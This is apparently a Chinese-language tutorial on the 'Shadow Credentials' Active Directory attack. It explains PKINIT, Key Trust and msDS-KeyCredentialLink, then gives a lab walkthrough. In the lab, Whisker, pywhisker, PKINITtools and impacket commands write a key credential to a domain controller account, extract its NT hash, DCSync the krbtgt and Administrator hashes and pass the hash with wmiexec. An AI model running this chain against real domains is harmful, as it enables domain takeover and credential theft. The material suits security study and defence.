影子憑證 濫用密鑰信任帳戶映射進行帳戶接管
什么是 PKINIT？
在 Kerberos 身份驗證中，客戶端必須在 KDC為其提供票證授予票證 (TGT) 之前執行“預驗證”，該票證隨后可用于獲取服務票證。預認證的原因是，沒有它，任何人都可以獲得一個使用從客戶端密碼派生的密鑰加密的user，并嘗試離線破解它
客戶端通過使用其憑據加密時間戳來執行預身份驗證，以向 KDC 證明他們擁有該帳戶的憑據。使用時間戳而不是靜態值有助于防止重放攻擊。
對稱密鑰（密鑰）方法是使用最廣泛和已知的一種方法，它使用從客戶端密碼（AKA 密鑰）派生的對稱密鑰。如果使用 RC4 加密，此密鑰將是客戶端密碼的 NT 哈希。KDC 擁有客戶端密鑰的副本，并且可以解密預認證數據以對客戶端進行認證。KDC 使用相同的密鑰來加密與 TGT 一起發送給客戶端的會話密鑰
PKINIT 是不太常見的非對稱密鑰（公鑰）方法。客戶端有一個公私鑰對，并用他們的私鑰對預認證數據進行加密，KDC 用客戶端的公鑰對其進行解密。
PKI允許KDC和客戶端使用由雙方先前已于證書頒發機構CA建立信任的數字證書交換公鑰 這是證書信任模型
PKINIT 不可能在每個 Active Directory 環境中直接拿來使用 KDC 和客戶端都需要一個公鑰-私鑰對。但是，如果環境有 AD CS 和 CA 可用，域控制器將默認自動獲取證書。
如果沒有PKI？
微軟引入了密鑰信任的概念以在不支持證書信任的環境中支持無密碼身份驗證，在 Key Trust 模型下，PKINIT 身份驗證是基于原始密鑰數據而不是證書建立的。
客戶端的公鑰存儲在名為 msDS-KeyCredentialLink 的多值屬性中，該屬性在 Windows Server 2016 中引入。該屬性的值是 Key Credentials
這種信任模型消除了使用無密碼身份驗證為每個人頒發客戶端證書的需要。但是，域控制器仍需要用于會話密鑰交換的證書
這意味著如果你寫入用戶的 msDS-KeyCredentialLink 屬性，您可以獲得該用戶的 TGT。
在AD中修改此屬性的權限的組成員賬戶:
1.企業管理員
2.企業密鑰管理員
Windows Hello 企業版預配和身份驗證
Windows Hello 企業版 支持多無密碼身份驗證(需要下載win10企業版)
當用戶注冊時 TPM 會為用戶的帳戶生成一個公鑰-私鑰對 如果在組織中實施了證書信任模型，則客戶端發出證書請求，以從環境的證書頒發機構為 TPM 生成的密鑰對獲取受信任的證書 但是，如果實施 Key Trust 模型，則公鑰將存儲在帳戶的 msDS-KeyCredentialLink 屬性中的新 Key Credential 對象中。私鑰受 PIN 碼保護
當客戶端登錄時，Windows 會嘗試使用其私鑰執行 PKINIT 身份驗證。在密鑰信任模型下，域控制器可以使用存儲在客戶端 msDS-KeyCredentialLink 屬性中的相應 NGC 對象中的原始公鑰解密其預認證數據。在證書信任模型下，域控制器將驗證客戶端證書的信任鏈，然后使用其中的公鑰。一旦預認證成功，域控制器可以通過 Diffie-Hellman 密鑰交付或公鑰加密密鑰交付交換會話密鑰。
如果使用NTLM身份驗證會怎么樣?
PKINIT 允許 WHfB 用戶或更傳統的智能卡用戶執行 Kerberos 身份驗證并獲得 TGT。但是，如果他們需要訪問需要 NTLM 身份驗證的資源怎么辦？為了解決這個問題，客戶端可以在加密的 NTLMSUPPLEMENTALCREDENTIAL 實體的特權屬性證書 (PAC) 中獲取包含其 NTLM 哈希的特殊服務票證
PAC 存儲在票證的加密部分中，票證使用為其頒發的服務的密鑰進行加密。在 TGT 的情況下，票證使用 KRBTGT 帳戶的密鑰加密，用戶不應該能夠解密該密鑰。要獲得用戶可以解密的票證，用戶必須對自己執行 Kerberos 用戶到用戶 (U2U) 身份驗證。當我第一次讀到這個機制的 RFC 標題時，我想，“這是否意味著我們可以濫用這個機制來 Kerberoast 任何用戶帳戶？那一定好得令人難以置信”。確實是——考慮到了 Kerberoasting 的風險，U2U 服務票證是使用目標用戶的會話密鑰而不是他們的密鑰加密的
這對 U2U 設計提出了另一個挑戰——每次客戶端驗證并獲得 TGT 時，都會生成一個新的會話密鑰。此外，KDC 不維護活動會話密鑰的存儲庫——它從客戶端的票證中提取會話密鑰。那么，KDC 在響應 U2U TGS-REQ 時應該使用什么會話密鑰？解決方案是發送一個包含目標用戶的 TGT 作為“附加票證”的 TGS-REQ。KDC 將從 TGT 的加密部分中提取會話密鑰（因此不是真正完美的前向保密）并生成新的服務票證
因此，如果用戶向自己請求 U2U 服務票證，他們將能夠對其進行解密并訪問 PAC 和 NTLM 哈希。
這意味著如果您可以寫入用戶的 msDS-KeyCredentialLink 屬性，則可以檢索該用戶的 NT 哈希
環境要求:
Windows Server 2016 域控制器
Windows Server 2016 域控制器上安裝ADCS證書服務
具有寫入目標對象的msDS-KeyCredentialLink屬性的賬戶
測試環境:
win2016(DC) 10.10.10.153 （并且安裝了ADCS證書服務）
域:read.local
攻擊機: 10.10.10.178
win10企業版: 10.10.10.150
具有寫入msDS-KeyCredentialLink屬性的賬戶: 賬號 qiyeban 密碼 Admin123..
我這里直接添加的企業管理員
工具下載地址:
https://github.com/ShutdownRepo/pywhisker
https://github.com/dirkjanm/PKINITtools
https://github.com/eladshamir/Whisker
我們來到win10企業版
生成證書和非對稱密鑰 并將此信息存儲在msDS-KeyCredentialLink屬性中
Whisker.exe add /target:w2016$
生成之后我們可以來到dc這里查看 可以看到這里已經設置成功了
python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "list"
查詢目標主機的msDS-KeyCredentialLink屬性中的密鑰對 我這里因為測試設置的比較多
python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "info" --device-id 98a2e88c-cbbf-44aa-a081-fd09fc84643e
接下來進行攻擊 生成的證書以pfx格式保存在本地 可以為機器賬戶授予票證
python3 pywhisker.py -d "read.local" -u "qiyeban" -p "Admin123.." --target "w2016$" --action "add" --filename w2016
這里的password是證書的密碼 yANuz27WZliF4xRTmSTV
通過密鑰分發中心 (KDC) 進行身份驗證 申請TGT
python3 gettgtpkinit.py -cert-pfx w2016.pfx -pfx-pass yANuz27WZliF4xRTmSTV read.local/w2016$ w2016.ccache
使用 AS-REP 加密密鑰，從 PAC 中檢索機器帳戶的 NTLM 哈希
export KRB5CCNAME=w2016.ccache python3 getnthash.py -key 2af61f88b01e94fc861280840396865fb170f1e061b07bc2b6d78ae995375bb4 read.local/w2016$
hash已經檢索出來了 現在可以dcsync了
python3 secretsdump.py -hashes :56e3c3d1e4e952dbddcd149c692c2641 'read/w2016$@10.10.10.153' -just-dc-user krbtgt
通過檢索的NTLMhash 然后可以使用wmiexec進行hash傳遞了
python3 secretsdump.py -hashes :56e3c3d1e4e952dbddcd149c692c2641 'read/w2016$@10.10.10.153' -just-dc-user Administrator
python3 wmiexec.py -hashes :42e2656ec24331269f82160ff5962387 Administrator@10.10.10.153
